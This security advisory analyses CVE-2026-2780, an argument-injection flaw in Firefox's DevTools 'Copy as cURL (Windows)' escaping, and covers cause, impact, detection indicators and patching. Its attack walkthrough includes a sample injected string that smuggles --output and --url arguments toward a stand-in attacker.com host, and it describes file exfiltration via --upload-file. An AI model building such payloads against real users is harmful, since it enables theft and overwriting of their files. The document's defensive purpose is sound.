CVE-2026-2780: 
NixOS vulnerability analysis and mitigation

CVE-2026-2780 is an argument injection vulnerability in the Firefox DevTools Netmonitor component, specifically in the "Copy as cURL (Windows)" feature, that allows privilege escalation and arbitrary file read/write. It was discovered by RyotaK of GMO Flatt Security Inc. and disclosed on February 24, 2026. Affected products include Firefox before 148, Firefox ESR before 140.8, Thunderbird before 148, and Thunderbird ESR before 140.8. Mozilla rated the impact as moderate, while NVD assigned a CVSS v3.1 base score of 9.8 (Critical) (Mozilla MFSA2026-13, Mozilla MFSA2026-15, Mozilla Bugzilla).

The root cause is improper privilege management (CWE-269) stemming from an incomplete escaping routine in Firefox's devtools/client/shared/curl.js. When generating a Windows-style cURL command via the Netmonitor's "Copy as cURL" feature, the escape function replaces " with \" to handle Microsoft CRT argument parsing, but fails to first escape the backslash character \ itself. As a result, a request body containing \" is escaped to \\", which the CRT parser interprets as a literal backslash followed by an unescaped double-quote, breaking out of the quoted argument and allowing injection of arbitrary cURL arguments. An attacker who can cause a victim to capture a malicious network request in DevTools and then copy and execute the resulting cURL command can inject options such as --output or --upload-file to achieve arbitrary file write or read on the victim's Windows system (Mozilla Bugzilla).

Successful exploitation enables an attacker to inject arbitrary cURL command-line arguments into a command that a developer or user executes on their Windows system. Using options like --output (arbitrary file write) or --upload-file (arbitrary file read/exfiltration), an attacker can read sensitive local files (e.g., C:\Windows\win.ini, credential files) or overwrite arbitrary files with attacker-controlled content. The vulnerability is limited to Windows users who use the DevTools Netmonitor "Copy as cURL (Windows)" feature and subsequently execute the copied command, but the consequences for affected users include full confidentiality and integrity compromise of local files (Mozilla Bugzilla, Mozilla MFSA2026-13).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the disclosure date (Feedly). The vulnerability requires social engineering: an attacker must trick a victim into visiting a malicious page, capturing a network request in DevTools, copying the cURL command for Windows, and executing it in a command prompt — making mass exploitation unlikely. The EPSS score is approximately 0.018% (very low probability of exploitation in the next 30 days). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. A security bounty was awarded to the reporter, confirming the bug's validity (Mozilla Bugzilla).

1. Craft a malicious web page: Create an HTML page that, when loaded in Firefox, sends an HTTP request with a specially crafted body containing \" followed by injected cURL arguments (e.g., \" --output C:\\evil.txt --url https://attacker.com/payload).
2. Deliver the page to the target: Trick a developer or power user (who uses Firefox DevTools) into opening the malicious page — for example, via phishing, a malicious link, or a compromised website.
3. Instruct the victim to open DevTools Netmonitor: The attacker (via social engineering, fake error messages, or instructions) convinces the victim to open Firefox DevTools (F12) and navigate to the Network tab.
4. Trigger the malicious request: The page automatically sends the crafted request, which appears in the Netmonitor. The victim is instructed (or tricked) into right-clicking the request and selecting "Copy as cURL (Windows)".
5. Victim executes the injected command: The victim pastes and runs the copied command in a Windows Command Prompt. Due to the improper escaping, the injected cURL arguments (e.g., --output or --upload-file) are parsed by cURL, resulting in arbitrary file read (exfiltration to attacker's server) or file write on the victim's system (Mozilla Bugzilla).

• Network: Unexpected outbound HTTP/HTTPS connections from a developer workstation to unknown external hosts initiated by curl.exe, particularly carrying file contents as request bodies (indicating --upload-file usage).
• File System: Unexpected new or modified files in user-accessible directories created by curl.exe processes, especially if the file content matches attacker-controlled payloads.
• Logs: Windows Event Logs or process creation logs (Sysmon Event ID 1) showing curl.exe spawned from cmd.exe with unusual arguments including --output, --upload-file, or multiple --url flags pointing to external hosts.
• Process: curl.exe processes with command-line arguments that include file paths to sensitive system files (e.g., C:\Windows\win.ini, %APPDATA%\*) as upload targets.

Mozilla has released patches addressing this vulnerability. Users should upgrade to Firefox 148 or later, Firefox ESR 140.8 or later, Thunderbird 148 or later, or Thunderbird ESR 140.8 or later. No configuration-based workaround is available; the fix consists of a corrected JavaScript escaping routine in curl.js that properly escapes backslash characters before escaping double quotes. Organizations should prioritize patching all Firefox and Thunderbird installations, particularly on Windows systems used by developers who regularly use DevTools (Mozilla MFSA2026-13, Mozilla MFSA2026-15, Mozilla Bugzilla).

The vulnerability was reported by RyotaK of GMO Flatt Security Inc. through Mozilla's bug bounty program and was awarded a security bounty, indicating recognition of its validity and impact. Mozilla classified the severity as "moderate" in its advisories, which contrasts with the NVD's CVSS 9.8 Critical score — a discrepancy likely reflecting Mozilla's assessment that exploitation requires significant user interaction (social engineering to execute a copied command). Multiple Linux distributions (Debian, SUSE, Red Hat, AlmaLinux, Rocky Linux, Slackware, Oracle Linux, Amazon Linux) and scanner vendors (Tenable Nessus, Qualys) rapidly issued advisories and detection plugins following the February 24, 2026 disclosure (Mozilla MFSA2026-13, Mozilla Bugzilla).